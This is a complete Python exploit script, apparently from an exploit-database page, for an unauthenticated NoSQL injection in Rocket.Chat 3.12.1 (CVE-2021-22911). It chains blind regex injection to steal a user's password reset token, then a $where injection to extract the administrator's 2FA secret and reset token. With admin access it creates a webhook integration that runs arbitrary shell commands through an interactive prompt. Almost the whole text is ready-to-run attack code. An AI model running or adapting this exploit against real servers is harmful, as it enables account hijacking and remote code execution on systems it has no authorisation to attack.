
4 changes to exploits/shellcodes Rocket.Chat 3.12.1 - NoSQL Injection to RCE (Unauthenticated) (2) Online Covid Vaccination Scheduler System 1.0 - 'username' time-based blind SQL Injection WordPress Plugin Plainview Activity Monitor 20161228 - Remote Code Execution (RCE) (Authenticated) (2)
196 lines
No EOL
7.7 KiB
Python
Executable file
196 lines
No EOL
7.7 KiB
Python
Executable file
# Title: Rocket.Chat 3.12.1 - NoSQL Injection to RCE (Unauthenticated) (2)
|
|
# Author: enox
|
|
# Date: 06-06-2021
|
|
# Product: Rocket.Chat
|
|
# Vendor: https://rocket.chat/
|
|
# Vulnerable Version(s): Rocket.Chat 3.12.1 (2)
|
|
# CVE: CVE-2021-22911
|
|
# Credits: https://blog.sonarsource.com/nosql-injections-in-rocket-chat
|
|
# Info : This is a faster exploit that utilizes the authenticated nosql injection to retrieve the reset token for administrator instead of performing blind nosql injection.
|
|
|
|
#!/usr/bin/python
|
|
|
|
import requests
|
|
import string
|
|
import time
|
|
import hashlib
|
|
import json
|
|
import oathtool
|
|
import argparse
|
|
|
|
parser = argparse.ArgumentParser(description='RocketChat 3.12.1 RCE')
|
|
parser.add_argument('-u', help='Low priv user email [ No 2fa ]', required=True)
|
|
parser.add_argument('-a', help='Administrator email', required=True)
|
|
parser.add_argument('-t', help='URL (Eg: http://rocketchat.local)', required=True)
|
|
args = parser.parse_args()
|
|
|
|
|
|
adminmail = args.a
|
|
lowprivmail = args.u
|
|
target = args.t
|
|
|
|
|
|
def forgotpassword(email,url):
|
|
payload='{"message":"{\\"msg\\":\\"method\\",\\"method\\":\\"sendForgotPasswordEmail\\",\\"params\\":[\\"'+email+'\\"]}"}'
|
|
headers={'content-type': 'application/json'}
|
|
r = requests.post(url+"/api/v1/method.callAnon/sendForgotPasswordEmail", data = payload, headers = headers, verify = False, allow_redirects = False)
|
|
print("[+] Password Reset Email Sent")
|
|
|
|
|
|
def resettoken(url):
|
|
u = url+"/api/v1/method.callAnon/getPasswordPolicy"
|
|
headers={'content-type': 'application/json'}
|
|
token = ""
|
|
|
|
num = list(range(0,10))
|
|
string_ints = [str(int) for int in num]
|
|
characters = list(string.ascii_uppercase + string.ascii_lowercase) + list('-')+list('_') + string_ints
|
|
|
|
while len(token)!= 43:
|
|
for c in characters:
|
|
payload='{"message":"{\\"msg\\":\\"method\\",\\"method\\":\\"getPasswordPolicy\\",\\"params\\":[{\\"token\\":{\\"$regex\\":\\"^%s\\"}}]}"}' % (token + c)
|
|
r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)
|
|
time.sleep(0.5)
|
|
if 'Meteor.Error' not in r.text:
|
|
token += c
|
|
print(f"Got: {token}")
|
|
|
|
print(f"[+] Got token : {token}")
|
|
return token
|
|
|
|
|
|
def changingpassword(url,token):
|
|
payload = '{"message":"{\\"msg\\":\\"method\\",\\"method\\":\\"resetPassword\\",\\"params\\":[\\"'+token+'\\",\\"P@$$w0rd!1234\\"]}"}'
|
|
headers={'content-type': 'application/json'}
|
|
r = requests.post(url+"/api/v1/method.callAnon/resetPassword", data = payload, headers = headers, verify = False, allow_redirects = False)
|
|
if "error" in r.text:
|
|
exit("[-] Wrong token")
|
|
print("[+] Password was changed !")
|
|
|
|
|
|
def twofactor(url,email):
|
|
# Authenticating
|
|
sha256pass = hashlib.sha256(b'P@$$w0rd!1234').hexdigest()
|
|
payload ='{"message":"{\\"msg\\":\\"method\\",\\"method\\":\\"login\\",\\"params\\":[{\\"user\\":{\\"email\\":\\"'+email+'\\"},\\"password\\":{\\"digest\\":\\"'+sha256pass+'\\",\\"algorithm\\":\\"sha-256\\"}}]}"}'
|
|
headers={'content-type': 'application/json'}
|
|
r = requests.post(url + "/api/v1/method.callAnon/login",data=payload,headers=headers,verify=False,allow_redirects=False)
|
|
if "error" in r.text:
|
|
exit("[-] Couldn't authenticate")
|
|
data = json.loads(r.text)
|
|
data =(data['message'])
|
|
userid = data[32:49]
|
|
token = data[60:103]
|
|
print(f"[+] Succesfully authenticated as {email}")
|
|
|
|
# Getting 2fa code
|
|
cookies = {'rc_uid': userid,'rc_token': token}
|
|
headers={'X-User-Id': userid,'X-Auth-Token': token}
|
|
payload = '/api/v1/users.list?query={"$where"%3a"this.username%3d%3d%3d\'admin\'+%26%26+(()%3d>{+throw+this.services.totp.secret+})()"}'
|
|
r = requests.get(url+payload,cookies=cookies,headers=headers)
|
|
code = r.text[46:98]
|
|
print(f"Got the code for 2fa: {code}")
|
|
return code
|
|
|
|
def admin_token(url,email):
|
|
# Authenticating
|
|
sha256pass = hashlib.sha256(b'P@$$w0rd!1234').hexdigest()
|
|
payload ='{"message":"{\\"msg\\":\\"method\\",\\"method\\":\\"login\\",\\"params\\":[{\\"user\\":{\\"email\\":\\"'+email+'\\"},\\"password\\":{\\"digest\\":\\"'+sha256pass+'\\",\\"algorithm\\":\\"sha-256\\"}}]}"}'
|
|
headers={'content-type': 'application/json'}
|
|
r = requests.post(url + "/api/v1/method.callAnon/login",data=payload,headers=headers,verify=False,allow_redirects=False)
|
|
if "error" in r.text:
|
|
exit("[-] Couldn't authenticate")
|
|
data = json.loads(r.text)
|
|
data =(data['message'])
|
|
userid = data[32:49]
|
|
token = data[60:103]
|
|
print(f"[+] Succesfully authenticated as {email}")
|
|
|
|
# Getting reset token for admin
|
|
cookies = {'rc_uid': userid,'rc_token': token}
|
|
headers={'X-User-Id': userid,'X-Auth-Token': token}
|
|
payload = '/api/v1/users.list?query={"$where"%3a"this.username%3d%3d%3d\'admin\'+%26%26+(()%3d>{+throw+this.services.password.reset.token+})()"}'
|
|
r = requests.get(url+payload,cookies=cookies,headers=headers)
|
|
code = r.text[46:89]
|
|
print(f"Got the reset token: {code}")
|
|
return code
|
|
|
|
|
|
def changingadminpassword(url,token,code):
|
|
payload = '{"message":"{\\"msg\\":\\"method\\",\\"method\\":\\"resetPassword\\",\\"params\\":[\\"'+token+'\\",\\"P@$$w0rd!1234\\",{\\"twoFactorCode\\":\\"'+code+'\\",\\"twoFactorMethod\\":\\"totp\\"}]}"}'
|
|
headers={'content-type': 'application/json'}
|
|
r = requests.post(url+"/api/v1/method.callAnon/resetPassword", data = payload, headers = headers, verify = False, allow_redirects = False)
|
|
if "403" in r.text:
|
|
exit("[-] Wrong token")
|
|
|
|
print("[+] Admin password changed !")
|
|
|
|
|
|
def rce(url,code,cmd):
|
|
# Authenticating
|
|
sha256pass = hashlib.sha256(b'P@$$w0rd!1234').hexdigest()
|
|
headers={'content-type': 'application/json'}
|
|
payload = '{"message":"{\\"msg\\":\\"method\\",\\"method\\":\\"login\\",\\"params\\":[{\\"totp\\":{\\"login\\":{\\"user\\":{\\"username\\":\\"admin\\"},\\"password\\":{\\"digest\\":\\"'+sha256pass+'\\",\\"algorithm\\":\\"sha-256\\"}},\\"code\\":\\"'+code+'\\"}}]}"}'
|
|
r = requests.post(url + "/api/v1/method.callAnon/login",data=payload,headers=headers,verify=False,allow_redirects=False)
|
|
if "error" in r.text:
|
|
exit("[-] Couldn't authenticate")
|
|
data = json.loads(r.text)
|
|
data =(data['message'])
|
|
userid = data[32:49]
|
|
token = data[60:103]
|
|
print("[+] Succesfully authenticated as administrator")
|
|
|
|
# Creating Integration
|
|
payload = '{"enabled":true,"channel":"#general","username":"admin","name":"rce","alias":"","avatarUrl":"","emoji":"","scriptEnabled":true,"script":"const require = console.log.constructor(\'return process.mainModule.require\')();\\nconst { exec } = require(\'child_process\');\\nexec(\''+cmd+'\');","type":"webhook-incoming"}'
|
|
cookies = {'rc_uid': userid,'rc_token': token}
|
|
headers = {'X-User-Id': userid,'X-Auth-Token': token}
|
|
r = requests.post(url+'/api/v1/integrations.create',cookies=cookies,headers=headers,data=payload)
|
|
data = r.text
|
|
data = data.split(',')
|
|
token = data[12]
|
|
token = token[9:57]
|
|
_id = data[18]
|
|
_id = _id[7:24]
|
|
|
|
# Triggering RCE
|
|
u = url + '/hooks/' + _id + '/' +token
|
|
r = requests.get(u)
|
|
print(r.text)
|
|
|
|
############################################################
|
|
|
|
|
|
# Getting Low Priv user
|
|
print(f"[+] Resetting {lowprivmail} password")
|
|
## Sending Reset Mail
|
|
forgotpassword(lowprivmail,target)
|
|
|
|
## Getting reset token through blind nosql injection
|
|
token = resettoken(target)
|
|
|
|
## Changing Password
|
|
changingpassword(target,token)
|
|
|
|
|
|
# Privilege Escalation to admin
|
|
## Getting secret for 2fa
|
|
secret = twofactor(target,lowprivmail)
|
|
|
|
|
|
## Sending Reset mail
|
|
print(f"[+] Resetting {adminmail} password")
|
|
forgotpassword(adminmail,target)
|
|
|
|
## Getting admin reset token through nosql injection authenticated
|
|
token = admin_token(target,lowprivmail)
|
|
|
|
|
|
## Resetting Password
|
|
code = oathtool.generate_otp(secret)
|
|
changingadminpassword(target,token,code)
|
|
|
|
## Authenticating and triggering rce
|
|
|
|
while True:
|
|
cmd = input("CMD:> ")
|
|
code = oathtool.generate_otp(secret)
|
|
rce(target,code,cmd) |